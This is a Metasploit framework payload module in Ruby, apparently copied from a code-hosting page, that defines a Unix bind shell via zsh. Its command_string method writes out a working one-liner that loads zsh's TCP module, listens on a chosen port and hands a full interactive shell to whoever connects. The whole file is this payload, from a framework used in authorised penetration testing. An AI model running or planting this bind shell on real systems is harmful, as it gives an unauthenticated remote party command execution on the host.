Path: blob/master/modules/payloads/singles/cmd/unix/bind_zsh.rb
21551 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 9978include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Bind TCP (via Zsh)',16'Description' => %q{17Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is18often available, please be aware it isn't usually installed by default.19},20'Author' => [21'Doug Prostko <dougtko[at]gmail.com>', # Initial payload22'Wang Yihang <wangyihanger[at]gmail.com>' # Simplified redirections23],24'License' => MSF_LICENSE,25'Platform' => 'unix',26'Arch' => ARCH_CMD,27'Handler' => Msf::Handler::BindTcp,28'Session' => Msf::Sessions::CommandShell,29'PayloadType' => 'cmd',30'RequiredCmd' => 'zsh',31'Payload' => {32'Offsets' => {},33'Payload' => ''34}35)36)37register_advanced_options(38[39OptString.new('ZSHPath', [true, 'The path to the ZSH executable', 'zsh'])40]41)42end4344#45# Constructs the payload46#47def generate(_opts = {})48super + command_string49end5051#52# Returns the command string to use for execution53#54def command_string55"#{datastore['ZSHPath']} -c 'zmodload zsh/net/tcp && ztcp -l #{datastore['LPORT']} && ztcp -a $REPLY && #{datastore['ZSHPath']} >&$REPLY 2>&$REPLY 0>&$REPLY'"56end57end585960